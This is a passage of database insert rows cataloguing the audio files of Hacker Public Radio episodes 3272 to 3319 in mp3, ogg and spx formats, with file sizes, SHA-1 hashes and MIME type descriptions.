(3272,'hpr3272.mp3','mp3',9406815,'751bb41b44b7ffbee2b5490e32311012821fcddd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3272,'hpr3272.ogg','ogg',11300529,'44c5c6337b369355f45d3fb83ffcb7c7865209c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3272,'hpr3272.spx','spx',4200997,'efd2b3e44d98086a96afd75115164e500943f8b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3273,'hpr3273.mp3','mp3',7927366,'db858800518b564abc9b3024e3334a54a8e1e899','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3273,'hpr3273.ogg','ogg',9405896,'f4981a20ad398c382451247d9ee5a6fcff16c7b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3273,'hpr3273.spx','spx',3540210,'677d2f190f91168cad6a8357effde480e3bf1be3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3274,'hpr3274.mp3','mp3',18413397,'6212e632e4a61b848247fc406b123fe6008b2491','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3274,'hpr3274.ogg','ogg',20602445,'5de2d0aa5964b5494cb873395e4eb5037359e8e8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3274,'hpr3274.spx','spx',8223325,'3a88094262cd88373bae09bcff069525c0b58b82','application/ogg; charset=binary','Ogg data, Speex audio'),
(3275,'hpr3275.mp3','mp3',4578098,'8b6a3d90f0102a8758bf6df30bcfdf7f0cfeb3d7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3275,'hpr3275.ogg','ogg',4916289,'912b1b499b480c5b1ec01d2d00a99e9ecfd13862','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3275,'hpr3275.spx','spx',2044429,'4b686e7e64f20c1d70cc4efcfd2b0975355a17f5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3276,'hpr3276.mp3','mp3',5223392,'44746bf59ae867d815e3c6bf2fdfb1db932937f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3276,'hpr3276.ogg','ogg',5833461,'71390d9b046393622421842dec2c4d8f5b2d0ffc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3276,'hpr3276.spx','spx',2332600,'d34e5add8aa69ce0601f10fa2d22163220d0fe99','application/ogg; charset=binary','Ogg data, Speex audio'),
(3277,'hpr3277.mp3','mp3',3292837,'0d326e77d0d82fda1a83d3a380346f1a22c25910','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3277,'hpr3277.ogg','ogg',3346369,'d99c7e23c017e80f9e3f9fc8020a48254f8ea57d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3277,'hpr3277.spx','spx',1470307,'f42902fe73f345206aa1d0bc65477c9b8c06da30','application/ogg; charset=binary','Ogg data, Speex audio'),
(3278,'hpr3278.mp3','mp3',5230557,'1743909d7031635d5552547964ff932d6fff3a77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3278,'hpr3278.ogg','ogg',5676069,'22a2f56277fe3c567a422fbf2e7caf1bd4df1eb7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3278,'hpr3278.spx','spx',2335784,'7bd63b5030c4dfec0be090d6e58850f26c6353aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(3279,'hpr3279.mp3','mp3',27186393,'a7511a9a5faf9a1f2c38cc8ce057d2ca40e98f31','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3279,'hpr3279.ogg','ogg',26172639,'6af6d91ed88f55e89d0bfc29ecad3aca6605f913','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3279,'hpr3279.spx','spx',12141441,'82f6ba994838200a7345858be56297a361a86f31','application/ogg; charset=binary','Ogg data, Speex audio'),
(3280,'hpr3280.mp3','mp3',9414534,'74e1ec385f624eadc048bd8fce0bf2e06a0159c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3280,'hpr3280.ogg','ogg',10735242,'d41e9feb5026d5bee81845fed8b0092213d17ea4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3280,'hpr3280.spx','spx',4204419,'f07e26ef2545153bac78ddff17e76126c467cf92','application/ogg; charset=binary','Ogg data, Speex audio'),
(3281,'hpr3281.mp3','mp3',34374639,'23211ad1fae3bd061d36c6c7b1a8beb0944760c0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3281,'hpr3281.ogg','ogg',33961763,'386e91d7df7d1363e34d52dfb8084d9c10a09c16','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3281,'hpr3281.spx','spx',15351807,'6dcfae3b5c0cca157bf4c02732d77c738e0859c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3282,'hpr3282.mp3','mp3',14243431,'00184bea0513fb6b5d13885deb581e2803f6655f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3282,'hpr3282.ogg','ogg',16589464,'60101e5f080da84d42b8f0ebec60553ce24a5171','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3282,'hpr3282.spx','spx',6361072,'48e8093231452107e7de5d678ec019f3ef93ff9e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3283,'hpr3283.mp3','mp3',25527028,'a378ff6ae83a9bed311b2efd77108d704ddec596','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3283,'hpr3283.ogg','ogg',25837826,'37b3814892003f1b53674eab980b7c62c1627a2c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3283,'hpr3283.spx','spx',11400352,'2ac43bab3d978428dbbe50bc132b5943c019cb29','application/ogg; charset=binary','Ogg data, Speex audio'),
(3284,'hpr3284.mp3','mp3',11678351,'f9cb23d60ed88f9cb4f761a1ce023b4ec5cab067','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3284,'hpr3284.ogg','ogg',13133281,'763a0f8809105e6dae45dc0201b5644a138df2b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3284,'hpr3284.spx','spx',5215392,'9cf008e251fc5e17aaf7361c85e2d4a4563db5cb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3285,'hpr3285.mp3','mp3',9796551,'6a9a531fd4ba57efcf1942fa249e1f8eab6136c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3285,'hpr3285.ogg','ogg',11799771,'39323d29938d801fea351eb6969d6c6f565311e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3285,'hpr3285.spx','spx',4374978,'00de46b618fe2e816a2e7601cabd133c2f589a68','application/ogg; charset=binary','Ogg data, Speex audio'),
(3286,'hpr3286.mp3','mp3',5706568,'9e214703353055e18ee640387d1e29c5dab482c1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3286,'hpr3286.ogg','ogg',6135292,'ecfaa28c7cb2f269d34f2e5d243201ececec57f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3286,'hpr3286.spx','spx',2548413,'1db4515fe14b233ce6194c8365171590e0226ce4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3287,'hpr3287.mp3','mp3',2046669,'da8a21912e3f366bef4852c7ec3a26f8015e5ffc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3287,'hpr3287.ogg','ogg',2203073,'a37af2e345b5b9e60acee9113151b994a4d96937','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3287,'hpr3287.spx','spx',913771,'0eb86994830aa77dc7859b1fcadc56c5590eb659','application/ogg; charset=binary','Ogg data, Speex audio'),
(3288,'hpr3288.mp3','mp3',30175610,'90aec415bb1cc1ef635dca47be76d62949728330','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3288,'hpr3288.ogg','ogg',28687643,'7ad26e63c76f7798e29467f80e0c6a599a5bb538','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3288,'hpr3288.spx','spx',13476537,'f9547933e27f9ae758340271e92d83ec3a93a289','application/ogg; charset=binary','Ogg data, Speex audio'),
(3289,'hpr3289.mp3','mp3',16595271,'0c30d4b70f344daa2124bebd07bce84c4e58e193','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3289,'hpr3289.ogg','ogg',17530857,'694f5d7358aa52676cefb307834f08afeb127419','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3289,'hpr3289.spx','spx',7411408,'674792071eb84056fc47bbeb9c8bfc8b027f7d7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3290,'hpr3290.mp3','mp3',8218731,'a7dde014c8677b27d88951adb2b28655a83a14fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3290,'hpr3290.ogg','ogg',9400874,'1d53b642b3d4c13a3720a0e84bfefd0a6cc12870','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3290,'hpr3290.spx','spx',3670314,'3c2a9978b872d6047ab152ddc034e4c8d7a072e9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3291,'hpr3291.mp3','mp3',5125841,'66bbfcc26d2bd74c50e8432cba4fdefa97ab9bce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3291,'hpr3291.ogg','ogg',5916328,'d21e9399c6cff2f2662feca054f3ff25243e149b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3291,'hpr3291.spx','spx',2289036,'596bd2924f449bdc892b73abd7a3256401fffec0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3292,'hpr3292.mp3','mp3',23383509,'0d1ab0a78649509a538f05813fd88b8e2b9d78ea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3292,'hpr3292.ogg','ogg',26700551,'bc23465d819cc3f9deea60a666b3390a8144c105','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3292,'hpr3292.spx','spx',10443021,'5214dad3fff3b2e6f10ebe20872c0749cc4dbde0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3293,'hpr3293.mp3','mp3',26515921,'95d98e1a9d84a0aaef8ea888ba7be8d93630b9bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3293,'hpr3293.ogg','ogg',27036638,'e1aac57c2322d39e7779a6ed49a6172361990eb7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3293,'hpr3293.spx','spx',11841969,'b5db8633343a6b49b59077e7f7e567b2d9acc5cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3294,'hpr3294.mp3','mp3',4151768,'201db9c170501c5d41dbe36e41dee23b0f2e6ef2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3294,'hpr3294.ogg','ogg',4080256,'c148faca048d5b534381a7718b2c4f7c7f61d0f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3294,'hpr3294.spx','spx',1853917,'b21374ca038ea41bdeafcd9ce5e188b5034f780c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3295,'hpr3295.mp3','mp3',2676813,'64eae7d9d602980d67e50122455db8b036098dc1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3295,'hpr3295.ogg','ogg',2980121,'39a597cbe677182187c100e8c17254ac6eeb2d35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3295,'hpr3295.spx','spx',1195250,'fbbdb26dc9a0853944710d233e81aa4635898728','application/ogg; charset=binary','Ogg data, Speex audio'),
(3296,'hpr3296.mp3','mp3',4036817,'a3d9c88522feca92936998f0dd726f85b50afe9e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3296,'hpr3296.ogg','ogg',4519506,'2abcb0302851610b508c44cd44319379e5ebb967','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3296,'hpr3296.spx','spx',1802603,'8a1c8a0cfcd419b5f964a5fe7d23c7c537f3c144','application/ogg; charset=binary','Ogg data, Speex audio'),
(3297,'hpr3297.mp3','mp3',2207413,'9c709d2438612cb8e2fa7afa2f026b580980fb14','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3297,'hpr3297.ogg','ogg',2331656,'2284ae582e1f38193a112ccf4aeabb7a166f1b70','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3297,'hpr3297.spx','spx',985554,'d1a8cd9d4bdd19ac7bbc992156c6be39428d0ac7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3298,'hpr3298.mp3','mp3',13154595,'31c0a37c0b41be4c1e6f84b90dc7725a52fb760d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3298,'hpr3298.ogg','ogg',15912944,'0bdd5b20ac10d1540d8f0c89d717e11668a40c1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3298,'hpr3298.spx','spx',5874760,'db93ed19efbf360b0293ae8f2f80f20238c9620e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3299,'hpr3299.mp3','mp3',25042236,'b8516e1f3f8b8121881249ff720b0017e8f34e27','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3299,'hpr3299.ogg','ogg',24016470,'c9c43ccb93d9e2308a3ed7d2eacd4b68b40759f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3299,'hpr3299.spx','spx',11183815,'fd8efdf05461768bb92d0f99037568f7373b5900','application/ogg; charset=binary','Ogg data, Speex audio'),
(3300,'hpr3300.mp3','mp3',9010363,'eba58d0eab6b8f5c36d0ea7c1bf4f612a5e2f5d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3300,'hpr3300.ogg','ogg',10190889,'20d2cb6c6e4151c55702e94aec83e3f27c7193a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3300,'hpr3300.spx','spx',4023907,'51c39a5025177138dc67fff505196615b25ee59f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3301,'hpr3301.mp3','mp3',18193961,'06cbe21d8e49dcf8d2865a604c4dd76d9366b699','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3301,'hpr3301.ogg','ogg',21009897,'2c378aca5ed4d8b134956e0873697742e522e815','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3301,'hpr3301.spx','spx',8125355,'523f9706646888e56dff6ebddcfaf8fa34b93255','application/ogg; charset=binary','Ogg data, Speex audio'),
(3302,'hpr3302.mp3','mp3',8041083,'e9199125534e96685ea224361d0fbd579b4892a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3302,'hpr3302.ogg','ogg',8675000,'427a20fa7348ae1db115230bae29146a73fb5545','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3302,'hpr3302.spx','spx',3590976,'dea5cd29e7a0c4aa5eba6f04a0c0b4ae08419657','application/ogg; charset=binary','Ogg data, Speex audio'),
(3303,'hpr3303.mp3','mp3',10566996,'d404e38da8db0c7ce4d7005377a7ffc4928a144c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3303,'hpr3303.ogg','ogg',10969399,'af37e31f3e734bd40592785546ba97381d912bf7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3303,'hpr3303.spx','spx',4719065,'0f6cfbc8078675beff960c3efa15260ea273e17e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3304,'hpr3304.mp3','mp3',2549086,'437221e29e32e031c1b4e46bfd1aec23d57d9fb0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3304,'hpr3304.ogg','ogg',2664434,'7defa177d91e1c747a4a1e3eaee2b6268d8a5e62','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3304,'hpr3304.spx','spx',1138173,'9819ac6aaf9cdded7f8f42cdcd3b375acd58fdf9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3305,'hpr3305.mp3','mp3',12563595,'19522c2270ea03f3328735c2d616f6230a2aec64','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3305,'hpr3305.ogg','ogg',12987556,'1c608d76ee933f74442867ad12a6dd5fc7dd37c6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3305,'hpr3305.spx','spx',5610708,'e643a53e0e19fdc97d2264bff5233e169223bd1f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3306,'hpr3306.mp3','mp3',17183136,'33298c50b650f8d6dbff280c8a350cb43489ff20','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3306,'hpr3306.ogg','ogg',18502057,'52fa2fab6aa1733b162d11ac86d7212d01e56516','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3306,'hpr3306.spx','spx',7673968,'81606c1d1877f37a83fbab2f3ff5d92f746ce0b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3307,'hpr3307.mp3','mp3',12370253,'796759a081cd548c64b9702e48ccb26391e67130','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3307,'hpr3307.ogg','ogg',14004364,'626dec2b110dce24eaa6f92f2cd5407a907e8fc7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3307,'hpr3307.spx','spx',5524434,'deb4a3ffb24146bef4985ff1285cc8699be08401','application/ogg; charset=binary','Ogg data, Speex audio'),
(3308,'hpr3308.mp3','mp3',17157812,'881745f6c3e5c635a73214f1733b16a21fd33580','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3308,'hpr3308.ogg','ogg',20867150,'2bc4faaf126a2679e118fda762901b1110230c71','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3308,'hpr3308.spx','spx',7662632,'6ab71f52197df8d1f9c148319b44645543ce56c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3309,'hpr3309.mp3','mp3',28505486,'8492b9a167efa555219566b622bf30b4213803ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3309,'hpr3309.ogg','ogg',26399469,'1bafee2609cc6e477432dfc5b1f79c5ee1ce90d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3309,'hpr3309.spx','spx',12730630,'75a8dbfb6fd05e38abcf1cff13b185a5120b8f45','application/ogg; charset=binary','Ogg data, Speex audio'),
(3310,'hpr3310.mp3','mp3',8869871,'33b5ba1fb77432ddcc582ebac4b4d7fd9d9baedb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3310,'hpr3310.ogg','ogg',10050802,'75d550b03fe6721bc3f455ee570063cd3fbebdbd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3310,'hpr3310.spx','spx',3961107,'321814370a43f06002ae91af1276c0637fcc70bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3311,'hpr3311.mp3','mp3',13831320,'2570fc7828bcb7bf64942ced7afc4b5a14c4f6fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3311,'hpr3311.ogg','ogg',16659343,'1a445c857caa35c43bd29b69ade4979715f763b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3311,'hpr3311.spx','spx',6176914,'1ba8c6135e4957db25e7b09c90e349abc21a904b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3312,'hpr3312.mp3','mp3',35438519,'3941cc22da78da7dd7b47f61999f8ccf92d8bacf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3312,'hpr3312.ogg','ogg',37125934,'35426da19e5e8da69c68a37c20ee8fb7b1564eb0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3312,'hpr3312.spx','spx',15826946,'a21823bc4946a8c1f0ba2132928991d3d65dc2c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3313,'hpr3313.mp3','mp3',1936969,'fa2e9f8cdb7d41d9117b47a4d7aa30d18215b7a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3313,'hpr3313.ogg','ogg',2040854,'0f8cc1c52908cf7be08ce2a303eefecfe53d1426','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3313,'hpr3313.spx','spx',864784,'1aff34260956e5679359a6fad450d35d43ec5e70','application/ogg; charset=binary','Ogg data, Speex audio'),
(3314,'hpr3314.mp3','mp3',2950773,'7d290db598937c930f69ebf3d2419e6dab82ab88','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3314,'hpr3314.ogg','ogg',3456355,'a857e4a438695c6f28ef89610c57b67409d7f1cf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3314,'hpr3314.spx','spx',1317573,'cdbed5cfb7004f45d67e0d853a2a9869b6f21c14','application/ogg; charset=binary','Ogg data, Speex audio'),
(3315,'hpr3315.mp3','mp3',2139484,'b6bc9d0e764b7247c7fb7fafedcd149e68f9bee8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3315,'hpr3315.ogg','ogg',2231268,'3d442d17846b976abeb4d1e6fe002f8bb4ff14bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3315,'hpr3315.spx','spx',955250,'d998dae395ab4d7aa0a183fa66fea528ac81dcb7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3316,'hpr3316.mp3','mp3',7883571,'805dee3e9a0bff64465cebd96f899440b97eb4a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3316,'hpr3316.ogg','ogg',9411916,'961d14223e9aa7003aa8bbafc08c7ccb4d370b6d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3316,'hpr3316.spx','spx',3520640,'c3ae1779476629ac174918583cc121f7788f8e14','application/ogg; charset=binary','Ogg data, Speex audio'),
(3317,'hpr3317.mp3','mp3',8801841,'b8384c1ec48d822ec4a26042e89649ca2cebbeb0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3317,'hpr3317.ogg','ogg',9466165,'308ea35a1b3fe61e7041d589d8c89233ccc1c3d2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3317,'hpr3317.spx','spx',3930769,'bfad8ac7a7db8586b186e401ef834abe95c85e47','application/ogg; charset=binary','Ogg data, Speex audio'),
(3318,'hpr3318.mp3','mp3',4802132,'92d974540034af867556db526bafe1037ff99560','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3318,'hpr3318.ogg','ogg',4767858,'8ba2a3eeb9e043ecc11b981d12d8d8f94d6eddfd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3318,'hpr3318.spx','spx',2144414,'9255850d3d50fb6456315f14751706651bde83c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3319,'hpr3319.mp3','mp3',33343116,'d340cf7ef4c61031e29c10d9475ca9cddc5add83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3319,'hpr3319.ogg','ogg',31828758,'7263b0ab86eb93e202943a36835e8eeb29162ff5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3319,'hpr3319.spx','spx',14891101,'a817d407822792cdbf6ef2815d3533da79ee7937','application/ogg; charset=binary','Ogg data, Speex audio'),
